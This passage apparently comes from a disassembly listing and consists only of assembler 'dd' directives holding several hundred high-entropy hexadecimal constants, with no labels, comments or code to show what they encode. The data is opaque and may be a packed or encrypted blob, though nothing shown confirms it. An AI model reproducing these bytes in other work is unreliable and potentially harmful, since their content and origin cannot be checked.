		dd 486F133h, 932CA207h,	0CA26FF22h, 0C401D799h,	0C234D00Bh
		dd 512D8978h, 5EF7605Bh, 654D2417h, 2B5F0126h, 0EBE9141Fh
		dd 0B85C4D30h, 2856D01h, 58C32931h, 30C4EB81h, 57E912C2h
		dd 28ED5933h, 5197CAFCh, 28852FB4h, 13BB0558h, 4CA4BD3Eh
		dd 60AF92E0h, 0B1E9D02Dh, 0E34F24E5h, 0FD162316h, 9A6CC814h
		dd 4048DC80h, 62CC96F3h, 3FE9D418h, 9FDA01F3h, 7D3BCE60h
		dd 47381D1Fh, 5F7D7FD9h, 0B94E283Ah, 7A054A70h,	5E1C139h
		dd 7ECE085h, 5D03BB3Ah,	0DD897664h, 1CED7E16h, 0C06EDF0Eh
		dd 3E0C42F5h, 0A645484Eh, 29ABA307h, 0E9EF2055h, 1FB1B7F9h
		dd 402B609h, 44F11292h,	5D1E093Ah, 7F7233DCh, 2BE9EA90h
		dd 0EDEDCF65h, 2B017C13h, 607867BFh, 5794F30h, 31E7E30Bh
		dd 27A882D5h, 0F7D14A03h, 68B65482h, 0D2C4004h,	44353C04h
		dd 0A562FD0Bh, 39D67875h, 8D531068h, 387DF858h,	0F4CA2D29h
		dd 0F5BA0A61h, 3513EBF4h, 0FFA87DB4h, 0B3A7824h, 0ECF6017Eh
		dd 9496E9C1h, 482D8281h, 2127D725h, 0EF54063h, 5F40BC6Bh
		dd 1ABA133Ah, 4854B8C8h, 0AEC31861h, 13CAEAFDh,	14AD77Dh
		dd 7BB9A6C1h, 3DC03FD2h, 0CFA056E9h, 4BA1C229h,	0DB012CECh
		dd 58083840h, 0C56B579Ch, 5E98937h, 9CC3C26Ah, 985BA42Fh
		dd 6237E9EBh, 0F6806A90h, 0CAF0B3C0h, 47E525BDh, 0FA621BBh
		dd 7EE72E4Ch, 13364B7Bh, 0C4F9BD71h, 5F620B83h,	0E8CF40F6h
		dd 89BA1E1Eh, 31064071h, 3C4AFAD7h, 3BFBE684h, 0C5B10B5h
		dd 107C680Bh, 53C0AF7Eh, 48664CBBh, 9476D828h, 0DE4F2F14h
		dd 670B8E21h, 89E9594Eh, 16DC2721h, 46514160h, 0C3312947h
		dd 569B1294h, 7BC2B30Dh, 0FB80C04Fh, 1E400AB8h,	0D5480785h
		dd 995B9F20h, 3B52E6F4h, 588E3220h, 0B1D105Ch, 16680431h
		dd 12CDAE3Bh, 1D829CA6h, 0EB04A27Dh, 156CAA74h,	0AB94380h
		dd 0C7B61E6h, 60E5653Fh, 5FB43635h, 66D02803h, 62C8825Ah
		dd 1668D9CFh, 472D4A3Ch, 815D85D6h, 1E83AEF6h, 0BD80E366h
		dd 3B714399h, 95958DF0h, 84C1FB13h, 6B894A8Eh, 7A727EEDh
		dd 0F10FAE53h, 2D09365Eh, 0C25523E0h, 5AD081C7h, 0AEDD246Eh
		dd 0C65162Ah, 8A5EAD02h, 0B5403E53h, 1C58073h, 0FEDDF62Eh
		dd 0D9E586CDh, 0C00881D4h, 0F7E902EDh, 167C3675h, 2BD9E710h
		dd 591FE35Bh, 6E882A74h, 71670F42h, 0B0895733h,	1565112Bh
		dd 0F71785C2h, 0FBD2DAB3h, 5565F7F8h, 0EABC3850h, 0CEBD8F2Eh
		dd 0AB600D0h, 35585469h, 371D02D3h, 6E0C122h, 0A9F4CC85h
		dd 0D331C2D7h, 6980775Ah, 466E2A50h, 0A32EEDBDh, 97E904E7h
		dd 0C9CCE8F6h, 9587505Fh, 28BBE659h, 0EAB7F055h, 4C39C17Ah
		dd 0F2E6F216h, 0FB5D88BDh, 6D254028h, 0E471932Bh, 7F0A2A1h
		dd 5E7B954Ah, 0A5E5FFB7h, 15E043D4h, 0D1061B31h, 12005CEFh
		dd 0FA210BE2h, 0B0DAF726h
		dd 297D03ACh, 0DF877FA6h, 816D3D3h, 0DC543EE9h,	0A0B6103Fh
		dd 573D041Fh, 86F0478Ch, 3230E2F0h, 6E4BB252h, 0DCF0B113h
		dd 77DE13C1h, 0FD20F1BFh, 25A03C82h, 8B1535Ch, 3116A61Ch
		dd 452536E8h, 0D5530409h, 0F5409ABEh, 254A5F61h, 76603277h
		dd 0C802C44Eh, 0B1402FD5h, 3F70B05h, 217C3AEEh,	24EA0720h
		dd 342DD7F4h, 0AC35945Eh, 0F12905C9h, 0ACAD46E9h, 0ED67A1F6h
		dd 0B514B9BBh, 1A006299h, 686F436Dh, 0F7A67779h, 4504D1B4h
		dd 72C65874h, 25D0009Eh, 4BDF385Bh, 89B568E9h, 72A876A0h
		dd 0DA64BC7Ah, 12BB6617h, 6305BE8Ch, 47AB3F60h,	0FE7F2119h
		dd 0B95CCA6Bh, 0FC084216h, 0F5C0435h, 5985BAC8h, 50F4D700h
		dd 4AE9155Bh, 0E39C8542h, 17FA3E9Fh, 0B7E3AFh, 12DCF696h
		dd 38EB7A02h, 139AAD10h, 0BCAFCC9Dh, 6D4EA77Eh,	530B8A31h
		dd 7D790162h, 0C43F82A4h, 0BDCC5305h, 0F2D94B4Fh, 32EA40E8h
		dd 0C4A83A75h, 10016B07h, 3FEF355Ch, 228F5159h,	71C40274h
		dd 251FBB31h, 605D4289h, 0D0459h, 1360697Fh, 8CAFC92Dh
		dd 0C631FB12h, 49278F81h, 72D29707h, 98779665h,	82027807h
		dd 0E6B554C1h, 48ECBF00h, 0B86501CBh, 9A34B716h, 0AED86F01h
		dd 0C2BEDE89h, 0CDE2E9FDh, 0C0B03966h, 745CE37Fh, 13EB1995h
		dd 366D7AC8h, 68E80841h, 8668B5C7h, 0C6B71430h,	0A1C64B73h
		dd 44CD6E65h, 6B94BDEFh, 312C22B9h, 5BF9C95h, 852AE52Ch
		dd 4E4AFCAAh, 0E983BEA7h, 4D24F0E5h, 8B0038E6h,	0F738DE15h
		dd 94258D2h, 0CA08204Ah, 625A63F5h, 77F111B0h, 0F0DF4AEBh
		dd 2E69CECAh, 68A90358h, 0DDB3ECD5h, 0F27C6C07h, 0DDD28B6Eh
		dd 0BA787609h, 82BD5638h, 163FEAF6h, 96123BDCh,	59E5BE1Ch
		dd 0BA9A090h, 2882D9Fh,	0D849177Eh, 9794F0EAh, 81F6AD05h
		dd 6E113885h, 6FD91620h, 0EEA5E337h, 669BA76h, 18473BE8h
		dd 0F04A05EAh, 880195D4h, 0E9D38975h, 423B1AB9h, 1B8D3CDCh
		dd 20D7A987h, 86E9E472h, 7C583040h, 5250F028h, 0E101B610h
		dd 1232939h, 836A0F3h, 9F636C9Dh, 0E913776Eh, 0ECE335EBh
		dd 9C88210h, 0F458C301h, 92D20BABh, 816879B0h, 13234D49h
		dd 41D0A4D7h, 7BBD7E26h, 0CBEF258Fh, 0D409F6C6h, 767A3460h
		dd 0E812393Dh, 0DD7F0B6Fh, 80B57744h, 0DA03ED87h, 7D6A12Eh
		dd 0BD738600h, 0F25B4B98h, 515E3009h, 8C64A7B6h, 8FDE916h
		dd 92092B8Ch, 0C4681257h, 0A4F7F850h, 5936EE09h, 0C61ACA3h
		dd 81691E86h, 32A52FEFh, 4BB6B090h, 0A65AC8h, 28D9B353h
		dd 0BF045BD8h, 2C74F0EAh, 17B1513Eh, 0CF82BDE9h, 7861545Ch
		dd 225A2EE9h, 0D4682330h, 0CF46B52Ah, 16FE925h,	7EFC127h
		dd 0E3DA06BEh, 407E51C7h, 32BFF777h, 31FCD409h,	5520B2F9h
		dd 0F304DA16h, 386203A5h, 16845EE9h, 56BD00D9h,	0F42D180Ah
		dd 3B73BA35h, 8AAE21B2h, 0AD5D9F4Fh, 55B74DAh, 0DDEA7EB5h
		dd 6CE988A1h, 0E55D2ACDh, 0F1B964CBh, 2836CABDh, 0A3204AE7h
		dd 0D01701Ah, 0EB29E1BCh, 0AD7548E9h, 3F7ECA2Eh, 323490FBh
		dd 2C005B2Dh, 0B061592Dh, 14FD184Dh, 92F831h, 0CA3A27EBh
		dd 1EBD552Eh, 65CD3306h, 2D029C7Ch, 0C045B393h,	704121DFh
		dd 0E3D1351Ch, 44A00F9Eh, 0C36CE66h, 0C83CA9EEh, 1ADDA5E2h
		dd 9F648015h, 1A649E7Dh, 745EF531h, 0E9DCC857h,	0F81554DEh
		dd 0C8AF2C0Fh, 0B9C17D6h, 0BC9387B6h, 59F84CBDh, 2C0FC33Eh
		dd 0A41CB81Eh, 0B7004A0Dh, 5BF90898h, 80E1D001h, 0B65224F1h
		dd 5AD9E821h, 833FCBC1h, 0FE85A0ACh, 0E949E71Dh, 68C6C0D3h
		dd 0ED1B4A1Ah, 0ADBAC4FAh, 0A602FB12h, 8EFB542Fh, 18886DF8h
		dd 58174ABEh, 0C902A817h, 44DEA98Dh, 0CD5069E2h, 0E9D0C076h
		dd 0A3305EDFh, 40D3254Ah, 4E8B589Fh, 409B960Ah,	0CD23F197h
		dd 0E2E22B1Dh, 0C0C5CF8Bh, 0F33C3309h, 685C046Ah, 0E97FD1ECh
		dd 589138C2h, 8DE418BEh, 9620BA0Ch, 81C4051h, 28B743CEh
		dd 0D12D083Fh, 95D5A08Ah, 0D3010E68h, 0E0E5E5A0h, 0ED80D7C0h
		dd 0EAD52835h, 71F9EBC5h, 39C0B734h, 0ECAC05E4h, 43690838h
		dd 0E24B512Fh, 5D091EE6h, 9A0B838Fh, 539D0EF8h,	95080BB9h
		dd 253D5773h, 5B4E04E1h, 372706BCh, 5F542181h, 18D07650h
		dd 0C6D348F9h, 28631327h, 7A8E0B72h, 55764278h,	392C6227h
		dd 9D7F5631h, 0B202CE4Ah, 469477D4h, 5F8204B5h,	820864AFh
		dd 0F2C8C914h, 87673C88h, 120E0FBAh, 7E572CFBh,	0B574AE4Eh
		dd 0E2BFE5B4h, 1FE7002Bh, 0D4416851h, 0F39AE018h, 0D026914Ch
		dd 128147B6h, 6140FAE5h, 0D15569EEh, 79449D52h,	9968E90Ch
		dd 28F51E5Bh, 7CAABFFDh, 0C1B4AF7h, 0D7C8AD6Dh,	560FB26Bh
		dd 9B8A6F18h, 34392A4h,	0CA5DA81Ah, 7DAC0590h, 0E93B0A05h
		dd 0AF401CE8h, 0D53C97F1h, 96D39B7Bh, 6E14B19Eh, 0BED7DF63h
		dd 0ED5A4A16h, 0BF0F803Bh, 4AF068C8h, 18A16970h, 0FE5929D0h
		dd 48680921h, 0EBACF96Ch, 0E98B9D53h, 0BEE16078h, 0C72F00B7h
		dd 0F443B90Ah, 6D9E1395h, 8C3D8126h, 74E1A2DCh,	2F7714CDh
		dd 3306A834h, 8062EB76h, 0D089CD0h, 12CE015Fh, 0E4051704h
		dd 44BE4796h, 0BB997210h, 10193C62h, 82828507h,	7F1B335Dh
		dd 4FFED59Eh, 6CA1DF55h, 40A11C3Fh, 0C2444559h,	3039BB00h
		dd 9D82A45Eh, 1E9E9801h, 5BC2F2Dh, 0A5C71C80h, 802879Ah
		dd 0E95FFB09h, 0B6EC6895h, 400FB87Ch, 0DA4801F5h, 1F5E0781h
		dd 0A810CB1h, 5A6B5B5Ah, 5D5CB225h, 5C9450ADh, 2E172F3Ch
		dd 0FB4095F2h, 0C229064Ah, 6020B492h, 3D4094E2h, 0AF982ED8h
		dd 0C6B516BFh, 0F6DD3025h, 694C2D27h, 3DE2E913h, 6882FDBCh
		dd 30D57001h, 9FDE1B40h, 59CDA7B8h, 48E2E2CBh, 0C656900h
		dd 0D1295B2Ah, 14BD2D92h, 2FBFA74Ah, 5CC70A2h, 0C2989357h
		dd 25B7744Ah, 71A694FEh, 8BEBA839h, 436D3B01h, 0B9515D2Ah
		dd 0E903D13Eh, 0EC02C0Fh, 67E6EF80h, 0C76386F7h, 4EF0CFD8h
		dd 450F928h, 0E83467B0h, 1249A8C0h, 0ADE8F784h,	4E24CC9Ah
		dd 278FB154h, 7CF6485Bh, 3BDD740h, 5267464h, 3FE0C581h
		dd 0CDEC7AEBh, 5830FA74h, 450E5279h, 0E91E1538h, 5D25A3D4h
		dd 410752D4h, 1646C981h, 0FA84ED70h, 807F7A21h,	0EC43929Ch
		dd 0C8316904h, 0CAA8959h, 537ABCACh, 541CF727h,	7FC370B5h
		dd 0A913C14h, 0BCA513F2h, 48DE6DB8h, 5B0B38A9h,	5EAE9457h
		dd 0DF2A84B7h, 0E0F75AC5h, 9E48EF2Fh, 0E65E55E9h, 25844275h
		dd 2DC998BEh, 0B6E3EA44h, 0BCF3C588h, 3BA9013Ch, 32D1171h
		dd 971D4EE4h, 27E68D08h, 0FA059A04h, 4E050254h,	7DE90DF4h
		dd 0EB4FC4EDh, 0FB569266h, 0BA61D874h, 0C878907Ch, 3713112Fh
		dd 62447800h, 514069C2h, 17BD1F55h, 0E97F023Dh,	59052C15h
		dd 0D51C9C64h, 0E0D30249h, 0B1ABDAFh, 0F6E974B1h, 82F4325Ah
		dd 7DED5781h, 6FDC997Ah, 968394Fh, 4128F40Eh, 568ACFE9h
		dd 0A1242A5h, 19416E96h, 6BBB28CAh, 0F76A4600h,	80B1E40h
		dd 1A49B1Fh, 24C62D0Fh,	67FC277Eh, 0F01F91B4h, 0D82801C5h
		dd 8A6E886Ah, 3DCB3759h, 5D68F83Ah, 0AE07D5C1h,	9C4DB79h
		dd 0E4220B12h, 18EC045Ch, 493ABA45h, 6882215Ch,	31467A05h
		dd 0A642D194h, 92864BAh, 412027AAh, 711C8BD5h, 83101312h
		dd 8A015B25h, 536218F4h, 34CCF681h, 0B0264A14h,	0CE1B87A8h
		dd 708D9F7h, 9F8CA81Eh,	0DF2912E9h, 53AF995Dh, 0C3A5D8EDh
		dd 62C290ECh, 589828CDh, 38A40013h, 0E38102CEh,	5D787707h
		dd 0FD28E912h, 42089B9h
		dd 70E5D0E1h, 9FD8C8A1h, 0B894A3Ch, 60BBFEC0h, 0ED017FBh
		dd 9029390h, 0E9F12FE8h, 0D1626A1Fh, 9E7CA07h, 8ECC2759h
		dd 2843A8A9h, 29590AB2h, 0D605A2D8h, 3CC08371h,	2624C9C2h
		dd 2F783263h, 37E064C9h, 79D02F77h, 685760B3h, 4B2712A4h
		dd 0D6DD0048h, 95292046h, 0CBCC8A68h, 2BC2A5Ch,	4D76C3B9h
		dd 9C89FF3Dh, 3850C03h,	9AE245D2h, 34080488h, 3817141Ch
		dd 0B83FC45Fh, 62DC861h, 0E50B46B8h, 57F0784Ah,	305470BEh
		dd 0CF803B9Fh, 22501115h, 7F18E9F4h, 670C636Fh,	49F717E8h
		dd 0E7A3E029h, 1EFCFBD7h, 0FDFA7584h, 194A6036h, 9030AC1Ah
		dd 0C1D340BDh, 0DA08E22Fh, 0B67A04A0h, 0EB21B01Dh, 82ED3D00h
		dd 1711193Ah, 218E40E9h, 258F3Bh, 0A058C109h, 9026D7B3h
		dd 149098FFh, 8FCE895Ah, 5DD3C702h, 0EF252425h,	0A7440817h
		dd 0BC10ED40h, 7764CC0Eh, 4DBA0520h, 0E9791FC8h, 27E2C14Bh
		dd 5205588Bh, 0EE3EC0Bh, 415C2CACh, 7B55147h, 0E9C8F03Bh
		dd 98B8682Fh, 828B6367h, 0E909FACDh, 2F61F6BCh,	0B0B74AE6h
		dd 8118CC28h, 93CB7F59h, 5AC413Fh, 1292AC35h, 0FE9A854Ch
		dd 4C217329h, 4E265B68h, 40B710DFh, 0BD60D5DAh,	331FEAF3h
		dd 12512B3h, 87310F2h, 64765E2Ch, 0D425F13Eh, 679F7FFBh
		dd 30192680h, 0F380591Dh, 6187C14Dh, 8B210406h,	0BFA19589h
		dd 66411EB2h, 0BD8D7F09h, 0E60E2D1h, 0F73C009Ah, 0CCE7811Fh
		dd 495B5F20h, 0D3887BE0h, 9304BEBFh, 88FA11B5h,	0DA4EE5C7h
		dd 4984F3A2h, 9AB1E2D9h, 84D8C370h, 6DD08FF9h, 0B5E0E2C6h
		dd 585796BDh, 1B103451h, 0CB291B8Ch, 32B2E725h,	0E6A8E8CEh
		dd 28F6E662h, 3AE02C39h, 0E91604F0h, 535BF020h,	0B964B72Eh
		dd 0B109B817h, 0FE370095h, 0D0F6C8h, 30B2B652h,	0F2045AF0h
		dd 70EFF9FCh, 0E70BC0FCh, 2E23E908h, 0EE30BCFh,	70F232B3h
		dd 7D655125h, 9086800h,	5AE965AAh, 0D0CC922Ch, 0A8E484h
		dd 0F470B1B9h, 0CD892771h, 0E501FDDBh, 62017AD7h, 16DBAB20h
		dd 0F1348C23h, 2BEA4044h, 0F509B46h, 25769CD2h,	521CC1BDh
		dd 955CE630h, 804176Ah,	9C8ABB5Dh, 5718984Bh, 0A7807C94h
		dd 2D163E25h, 0C05F3E8Dh, 7B94F0DAh, 13B4C2Dh, 257CE95Ch
		dd 4C4EFAFh, 0A7BF07ECh, 0B3A2C36Eh, 0ABFB6268h, 5974F48Dh
		dd 71B22B54h, 1276B902h, 12FFEF8Eh, 0A84155CDh,	98886BEBh
		dd 29194087h, 10CA5C59h, 596A9D81h, 4FCF1027h, 7FB0EF82h
		dd 0E913FF34h, 39ADF20Eh, 0FC31FBD2h, 5F349EE9h, 0D1C21E09h
		dd 216549E2h, 808F4CDEh, 0D6973ECEh, 0AC68B080h, 45DC661h
		dd 0E62D1527h, 8B511972h, 98581C64h, 224BC5h, 87D1F752h
		dd 0D9E581CFh, 0CE40FA1Dh, 0BD0AFBEFh, 0BD01BF5Dh, 2C08304h
		dd 28C920E8h, 7DDC2BC8h, 93CE7B97h, 0EC76C4EFh,	0E80F2F3Fh
		dd 0FE52E3ABh, 86E3A872h, 0E2C012FAh, 2650805h,	39906692h
		dd 13B7E9B4h, 13CFFEA4h, 0AB88858Ah, 0D07F3C29h, 0D3BD55CDh
		dd 40CB461Eh, 0E1C511D2h, 2E173DEBh, 0FC9678E2h, 6856C064h
		dd 16983646h, 0F0D7E96Ch, 28BC549Fh, 15045C6Ah,	0DEE514Bh
		dd 0F00606BDh, 0FB163548h, 0EF032C53h, 1661E9C7h, 0E83B5C8Dh
		dd 9B412A36h, 696F9BB4h, 5AFCA0B8h, 0B803EAC1h,	93F87C90h
		dd 2F540935h, 0C60ACD5Ah, 0C3720721h, 705CF010h, 50850500h
		dd 712D519Ah, 4FAC2913h, 2F8DEF54h, 6278F912h, 73C5BDC5h
		dd 809F67A8h, 1018BF24h, 346A7A71h, 802CAF80h, 4675B893h
		dd 0D5FF303h, 0A8DB6CDDh, 1D02AE25h, 80407494h,	52EE3585h
		dd 4F1EFE05h, 201471C8h, 89B7128Ah, 0CC0B09BBh,	40631AF4h
		dd 681028ABh, 295B2544h, 0EB9C47ECh, 25407DA4h,	2535076Dh
		dd 69CA055Eh, 898CD488h, 0EA00D3F7h, 37E801DEh,	29E3FCC1h
		dd 0D8E7D423h, 0BF307EE9h, 0BD09783Ah, 0DA87FB40h, 64B6Bh
		dd 0E70AA7E7h, 0E1810748h, 192564ACh, 7B8C4080h, 2BF0C7Ah
		dd 0E2CA010Ah, 1227CCA6h, 0FB28E568h, 802EA829h, 0BF70C51Ch
		dd 1DAC324Bh, 81622100h, 0C1890C1h, 2E9E1B48h, 0B981463Ch
		dd 1D130D09h, 45848482h, 1F47028h, 6C41048Eh, 48247B58h
		dd 2C05C5A8h, 0ECC2884Eh, 0D7B0A7A9h, 58F8285Ah, 358AEA66h
		dd 5558A7CAh, 427D5509h, 67658EE7h, 0E9C18A58h,	0CF543E9Ch
		dd 296AC8EAh, 4860F97Dh, 4F25BB3Fh, 7C157C57h, 0BD4A73DFh
		dd 0E8281798h, 0C340C798h, 7E290ADh, 53EC3FC9h,	9A43B105h
		dd 2DDA4279h, 0E95D0781h, 0C6876CC8h, 41B2555Bh, 4B506D9Eh
		dd 525138A9h, 7C44A22Eh, 0F34E1009h, 82ACF22Dh,	0F43C8408h
		dd 18D50509h, 7FE33726h, 3034D0Dh, 79F9011Bh, 304A1DD2h
		dd 0F8BEC2DBh, 8831A3CAh, 0FAC41212h, 89F244AEh, 0C8290018h
		dd 2C4C992Dh, 257A5ADFh, 2345085Eh, 2FBE2A90h, 2027256Ch
		dd 0C242E28Bh, 0D950257h, 0F067660Ah, 8ACB5D42h, 0BDF8CA2h
		dd 7143C213h, 7176CB59h, 37B2CAA0h, 93CD873Bh, 3B20365Eh
		dd 182A7E2Fh, 4D6F777h,	0D573C681h, 429D88E4h, 6B8974D2h
		dd 776AA9FCh, 502629E0h, 84D19D15h, 7B4F5802h, 6CA6403Bh
		dd 0F865E676h, 330B03CBh, 0E94B3C92h, 415AB9DAh, 6EA8680h
		dd 0BAC8F2F7h, 94B4468h, 0AA643B8Ch, 0D04F7FDBh, 0D6A4EB96h
		dd 0BB0609C6h, 34761819h, 75C50489h, 45BF8896h,	0C222263Fh
		dd 425DDDB6h, 0DCE057DFh, 166FCCE9h, 36D26239h,	832FC093h
		dd 0A131BFC9h, 0C5D6D32h, 0AC1D5AC5h, 26B39055h, 96689359h
		dd 52DE1ED9h, 0F8838406h, 745CA390h, 869E9E95h,	2E7A05E9h
		dd 0B00C3EBh, 32414925h, 0EA442D5Fh, 0A66DEB20h, 1093F75Eh
		dd 893A79E6h, 0D3A5CACFh, 0A8439DC1h, 29840F2Dh, 9B86197Bh
		dd 4065E105h, 3E588BD5h, 2E961424h, 0FC258139h,	4836516Dh
		dd 0EB012027h, 0E9381863h, 0C60A2B0Bh, 6841A25Fh, 307B3C80h
		dd 0D269CC7Ch, 9929022Fh, 453F5ECFh, 0A9EAEF5Fh, 26E9B111h
		dd 0CB4A3B68h, 94805B24h, 14685751h, 0ED484B75h, 2DA76A12h
		dd 0B48200C7h, 0C401806Fh, 94B151C7h, 0C728CC08h, 0B43DE9C2h
		dd 0A0968656h, 895AFA4Fh, 924370BFh, 485B72D7h,	0A04A3552h
		dd 804FF24Eh, 4E8E7BA4h, 0C45D8C7Dh, 485ABF40h,	0D42CAB66h
		dd 9E760913h, 5342E8D9h, 0B61E7FF3h, 51B2919Fh,	844F342Bh
		dd 5B6ED291h, 527A19F4h, 80655FDEh, 0D021593Eh,	1910E695h
		dd 3B1CBA52h, 0DB76056h, 0C796F13h, 0A6840FC4h,	530BB9B8h
		dd 0E2C02EB3h, 0EBD572Ch, 0DFE982BFh, 450E68Fh,	7A30180Dh
		dd 0A24FAF89h, 1D334359h, 8F35EB5Bh, 0D3DC085Bh, 0F51CCD5Bh
		dd 32B1205h, 1FF56FB0h,	8C06FA0Dh, 0E903FFEFh, 0B90FB160h
		dd 4E65515Dh, 2FA8A168h, 188F45F0h, 0CE03432Ah,	5C2C26F7h
		dd 0CB02DC3Eh, 0F19CD4Bh, 0B2CFE900h, 0D09F842Ah, 0A020B0BDh
		dd 3C4A6EEBh, 68896389h, 1DE66545h, 0ECFD1197h,	9F580434h
		dd 519DD49Eh, 780208A8h, 0DA40680Bh, 0CDA62028h, 229B0507h
		dd 0D9A57385h, 68C33FFCh, 2E7503C5h, 39238731h,	8404E4DDh
		dd 0F095FF86h, 88A3050Ah, 0A8282B82h, 29E814Ch,	8B70D9FDh
		dd 2719BCC4h, 0C981DADCh, 4F7B855Bh, 123ED130h,	0FF2ED28Dh
		dd 27949F04h, 0CB095B02h, 1620BDC4h, 0F0313BC7h, 819180B0h
		dd 2C186FE3h, 9D722E5Dh, 0EBAF2799h, 0B93F2BF4h, 0F6750EF3h
		dd 0EC2DE3Dh, 612B659Bh, 952EC4CDh, 0E04EC76h, 374B150Fh
		dd 1001C5B8h, 7BE94E04h, 60F951EDh, 0A40AA677h,	8502FFCAh
		dd 40170C3Eh, 89DCF5C1h
		dd 0A6367EE3h, 0A2699D7Ch, 3BD8F5E9h, 582FA2F3h, 302614CDh
		dd 408968C4h, 44BAA054h, 8A9298EAh, 0AA7260E9h,	3F70A55Ah
		dd 0A172C329h, 0EF225808h, 0BC009CD4h, 25411A19h, 0A5277495h
		dd 0D5E42Bh, 84423548h,	0C289BA3Ch, 4903585Eh, 0B90E6853h
		dd 0D54810BEh, 1E0C5CD0h, 2F195B81h, 73AD3075h,	0A2302317h
		dd 0C7201A56h, 5F3CCEh,	19685017h, 0E96D7643h, 5EC43A4Ah
		dd 51ED62EBh, 590985D6h, 4F02D41Eh, 0F7726E0Bh,	0FB24C700h
		dd 0FD89DDEBh, 100945Fh, 137F71Ah, 121116EAh, 0BE336DE9h
		dd 85EE4764h, 90F48205h, 2CF8AA94h, 0C828A11Eh,	49D34C7Ah
		dd 0F6F15F9Ah, 9E7750E0h, 160D4F04h, 85FA2939h,	128A920Bh
		dd 0A1E04B7Bh, 0BADB3E52h, 3A3CE909h, 0B650A329h, 4A67060Ch
		dd 10970C40h, 2419C86Bh, 891CC945h, 27947EC9h, 0FEA3301Ah
		dd 8E0C5975h, 7B22E9A1h, 0E6B85213h, 13275E78h,	7F5B8D16h
		dd 0F268290Fh, 0DADDFCB8h, 6EDEF345h, 6CAF2116h, 99D37421h
		dd 290E2CBFh, 8DB0EEBAh, 3ABDEA7Fh, 28018707h, 0A404FBDBh
		dd 0AD582C0Bh, 0E96F5F51h, 0B59670A3h, 0C7B7BF94h, 6CE90994h
		dd 0E58FF3FCh, 0B5CDE008h, 9816C342h, 39750C7Fh, 0F6842AA7h
		dd 6C50061Fh, 0D8F8F500h, 2C29219Bh, 3BE25DEBh,	55595561h
		dd 150DF868h, 2ECB737Eh, 7D1F86FCh, 2BCD2C46h, 0B1ED9226h
		dd 606C69A5h, 0AB3FC00Ch, 0BCE9F463h, 41046B3Dh, 55E68C46h
		dd 3940BD34h, 210505EBh, 2C3782D1h, 15953657h, 91B9B6E9h
		dd 767F703h, 0C3F52DCh,	0AD611783h, 661AB9ACh, 0F68327A9h
		dd 9E1CEECh, 90B142CFh,	0EB24EF24h, 0D85BA6CBh,	13246869h
		dd 2692541h, 0F956556Bh, 0D686BECBh, 609AA7E9h,	5DEE0D98h
		dd 9F5E68F2h, 0A9E823C9h, 44B2E8h, 30700478h, 8107E1C1h
		dd 5DCC907h, 216F4D03h,	71D56296h, 3B90D760h, 0F15B0120h
		dd 4254AFC6h, 0EB4C7D2Eh, 0C520D7ACh, 0D8F7249Eh, 0CC2E12CBh
		dd 5FBCDA41h, 7F2D4800h, 98265A6h, 4F58C731h, 8C3B480h
		dd 0A2FE1B8Dh, 41147D13h, 0D1480EBFh, 0CDE94861h, 86102D84h
		dd 95F98B25h, 2EB9C500h, 0F1904314h, 0D8E25D6Bh, 0E3165BB8h
		dd 54522E2Eh, 82B5331Bh, 8873F974h, 0AD28A5AEh,	25D6E33Ah
		dd 0F17E43DDh, 1CA0FC0Eh, 7E6A20B1h, 0CE7A5E60h, 0F834BA08h
		dd 0AC374A2Ah, 6208D245h, 0CAD1A788h, 1E966847h, 7C38208Bh
		dd 9207BD7Ah, 0CD2975F3h, 7634ADC2h, 0CA6B8987h, 9E8499F5h
		dd 0C7007428h, 0B17E2047h, 681295B8h, 0E8E8753Fh, 0ABEC9BC4h
		dd 2F936C37h, 0E6973BA1h, 0F7B19298h, 7B16F2E3h, 9600187Fh
		dd 4D110A5Bh, 0E4D1A043h, 0B3171360h, 0B445FC29h, 25C912AFh
		dd 0E442E82Ch, 7BDE8DEEh, 0E6011289h, 6600BD92h, 24BF1CF7h
		dd 1CB37300h, 18035396h, 69E90BC1h, 680332BAh, 7CCB21B9h
		dd 0F64B15Bh, 0A341AF51h, 51D5237Eh, 513CFF8Dh,	40955B38h
		dd 0CE1D62A4h, 0EE7F2141h, 0FB7EA62Dh, 0A0FCA759h, 27A55A52h
		dd 0C7CE9B12h, 0F1505C27h, 2DF4EBCBh, 2E454CE9h, 6772D687h
		dd 924B9455h, 3960B32Ch, 989DEE18h, 52596679h, 8D10A5D3h
		dd 535C1872h, 2D22EFB2h, 1D644BC3h, 49B5F292h, 0A43C2971h
		dd 42802Fh, 9E2832D5h, 14E2765h, 5E680D76h, 0DD527692h
		dd 9928EF9h, 11B132D7h,	7A6B6585h, 5504F58Bh, 0EF79D72Bh
		dd 0E8C93404h, 81EF8700h, 3513CFE7h, 0CB0111D3h, 470C4663h
		dd 9EF0774h, 0A922BC12h, 4D11897Dh, 172C110Bh, 9ACC71F7h
		dd 9265B553h, 2DC5FF88h, 0A5344840h, 97190C80h,	30D641E0h
		dd 2CC3C850h, 3BBC554Ah, 7BD34870h, 24510B2Fh, 0EC078E42h
		dd 0E7C5B1Bh, 0FD3F5011h, 0F16C57DEh, 0C1F1CE64h, 5AA2192h
		dd 0A9AE11C1h, 12073C23h, 37BEEAD5h, 0A9AC96B2h, 0C81BC1AAh
		dd 0A1B81E00h, 2D75FB70h, 0BE111D94h, 734940F6h, 83934D29h
		dd 0E91482B8h, 0E1E7BAE2h, 0DD2F853Dh, 2446ED0Fh, 12B7BF3Dh
		dd 0E9CBC352h, 273FE120h, 0AE9A82BCh, 0D14CC566h, 3268134Ch
		dd 0A25204E2h, 8AFBF85Ah, 89A5D621h, 671459AEh,	0C6971C86h
		dd 0DEE2C101h, 5EF5098Ah, 93ABE76Bh, 7001CF2h, 216DE02Ah
		dd 0B3A25FFDh, 739F2870h, 0AE7A366h, 50F23471h,	1801E8C1h
		dd 0F791C831h, 0E93150D1h, 0D13F23D9h, 717A5D6h, 4946DCC9h
		dd 6A4ACA51h, 0AC71BE00h, 77CF015Ch, 33310256h,	16E91523h
		dd 0BB073A54h, 8637852Eh, 0A2FEE1A2h, 55B768D9h, 0BFF07F66h
		dd 9CE3604Ah, 3973BA00h, 2130E953h, 8EEBB9CBh, 415262BBh
		dd 0F30FE01Bh, 2A2F394Eh, 146D18E0h, 64806E22h,	708E2792h
		dd 5C644D7Ch, 483523FEh, 0EBD104F4h, 9A4610AFh,	0CF0C789h
		dd 240B71DEh, 0B2ABC810h, 2CA2957Eh, 38C70299h,	27883B24h
		dd 56119309h, 0A2B03727h, 1C77C756h, 8EC6BB4Fh,	0BE56A568h
		dd 4F29CE38h, 0BDD635D3h, 2AED10A2h, 0D9686605h, 1038B253h
